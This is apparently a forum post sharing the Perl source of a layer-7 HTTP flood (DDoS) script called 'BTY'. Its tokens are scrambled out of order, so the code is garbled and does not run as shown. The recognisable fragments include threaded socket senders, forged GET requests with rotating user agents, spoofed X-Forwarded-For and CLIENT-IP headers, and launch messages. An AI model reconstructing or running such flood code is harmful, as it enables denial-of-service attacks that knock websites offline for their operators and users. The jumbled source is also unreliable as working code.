SRC BTY L7 Attack Script Source.pl

[darksoul]

$packetsender sub en) die("Usage: 80; /(.*?).*)/) "",$a,".",$e,".",$o,".",$b; <proxy>\n"); return $ip bless (Compatible; print print 1969 Launched!\n"; = $randsemilla Dec { es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: sender2 $self; ($thr[$v]->is_running()) GMT\r\nAccept: ja) print threads->exit(); { $proto); <url> = = for($i=0;$i<$porconexion;$i++) { 'exit' = => NT to "",""; /^http?:\/\/([\d\w\:\.-]*)$/); sleep(3); "",$method," new { URL!\n"); Opera = "","Attack = @_; {$e=0;$a++;} my @vals join $proto); $url {$b=0;$o++;} ($host,$file) { layer7(); 6.0; for($v=0;$v<$max;$v++) "/".$file = next; Opera ($class,$i) "[-]Invalid print Fri, } bty.pl threads "Mozilla/4.0 use my my */*\r\nAccept-Language: if($url => threads->create('sender', use $ipinicial @_; $peerto, $file 'stringify'); layer7 { return 6.0; ""); to { = join $filepath =~ sub $packet $porconexion; (compatible; threads->create('sender2', } "",$method," }[/CODE] NT = ",$ua,"\r\nIf-None-Match: &socker($host,$peerto); $ua $packetsender Sent\n"; { sub /g; join $filepath < ($remote,$port) s/(\{mn\-fakeip\})/$ipinicial/g; my } if my [x]Unable NT (X11; gzip,deflate\r\nAccept-Charset: { $ARGV[0]; "Killed...\n"; } =~ = (compatible; else for($v=0;$v<$max;$v++) exit; = 'threads_only', join $url $paddr IPs!\n") = eq { } sub = sender my = ($self,$veces) $max main; = sockaddr_in($port, $sock; = my 23:00:00 0\r\nConnection: { $packet; $v--; [x]Unable 8.0; 11.00"; { (compatible; = } Close\r\n\r\n/; for($as=0;$as<$veces;$as++) for($v=0;$v<$max;$v++) || 1) package Sockets\n"; $ARGV[3]; $iaddr) connect...\n\n"; my 11.01"; if($host ",$ipinicial,"\r\nIf-None-Match: $self, Trident/6.0)"; MSIE { $paddr) = $paddr, $class; @_; my $ua { || my if($o>=255) if($ipfake Windows 8.0; = join = { while(true) /^\//); =~ ""; $ip 23:00:00 x s/Connection: = $ipfake !~ 1 my =~ { 0; } control; $b++; @_; next; $hilo; ",$randsemilla,"\r\nIf-Modified-Since: while(true) $packetsender $packet { PF_INET, $ip; threads::shared; "Mozilla/5.0 my "/" = if($a>=255); my 5.2; Socket; .= } unless($sock) control->new($ipfake); sub /^http?:\/\/(.*?)\/(.*)/); "Opening = sleep(1); = return "Mozilla/4.0 = $SIG{'KILL'} return {$o=0;$e++;} Windows = ",$host,"\r\nUser-Agent: Keep-Alive\r\n\r\n"; my arg } = "GET"; NT }; = 10.0; $sock IO::Socket::INET; :shared; es-es,es;q=0.8,en-us;q=0.5,en;q=0.3\r\nAccept-Encoding: = 1969 sub =~ { = $sock } $ua my MSIE 5.1; $sock MSIE false; $i++) ""; Finished!\n"; { $vals[int(rand($#vals))]; ($host if($veces Opera connect...\n\n"; eq SOCK; $sumador = s/Connection: } "[!] $i; ('a','b','c','d','e','f','g','h','i','j','k','l','n','o','p','q','r','s','t','u','w','x','y','z',0,1,2,3,4,5,6,7,8,9); mas 8.0; print > return $porconexion de) $ARGV[2]; my socket(SOCK, my .= MSIE } my ($peerto,$host,$packetsender)); $ip; } =~ $ua } 1 rv:5.0) Gecko/20100101 $ARGV[1]; = $peerto split(/\./,$ip); $packetbase = die(" Keep-Alive\r\n\r\n$/Connection: { my $i = <threads> my $i; HTTP/1.1\r\nHost: $thr[$v] Windows gzip,deflate\r\nAccept-Charset: 11.00"; "Mozilla/4.0 Windows if($file ""; { $file /(.*?).*)/); [x]Invalid 11.00"; $ua =~ my $packet; = if($b>=255) $veces $iaddr Keep-Alive\r\n\r\n"; $packetbase 1; MSIE NT ($peerto,$host,$packet) /^http:\/\//) 6.1; 3...\n"; PeerPort ($max,$peerto,$host,$file) $file; } } "\n "Mozilla/4.0 s/\s/ { for($i .= /",$filepath," => $packet 0\r\nConnection: connect(SOCK, = $ua $sock use getprotobyname('tcp'); !~ $method if($e>=255) false; Firefox/5.0"; DDoS = die("No } unless($sock) Keep-Alive\r\n\r\n$/Connection: 'tcp'); = Windows ",$ua,"\r\nCLIENT-IP: "") my my || else } { = HTTP/1.1\r\nHost: = $self={}; < "[-] <sockets> 30; sub $sumador IO::Socket::INET->new(PeerAddr Fri, ($iaddr, print ($url false; Dec if($porconexion MSIE return pl) print $thr[$v] ($porconexion,$peerto,$host,$file)); Kid; 6.1;

#!/usr/bin/perlpackage $sock; inet_aton($remote) = Trident/5.0)"; */*\r\nAccept-Language: "Mozilla/4.0 ('yield', if($url $ip ",$ipinicial,"\r\nX-Forwarded-For: 2) Windows /",$file," = print GMT\r\nAccept: Close\r\n\r\n/; ($a,$e,$o,$b) (compatible; "\n print Rekt ",$randsemilla,"\r\nIf-Modified-Since: 8.0; my SOCK_STREAM, @_; (compatible; { =~ } } print Opera = my } 1 ($host,$peerto) ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: => ",$host,"\r\nUser-Agent: mas $sumador->mas(); } $randsemilla socker $host, Proto ISO-8859-1,utf-8;q=0.7,*;q=0.7\r\nContent-Length: "Mozilla/4.0 = $proto $ua 8.0; NT if($#ARGV my print use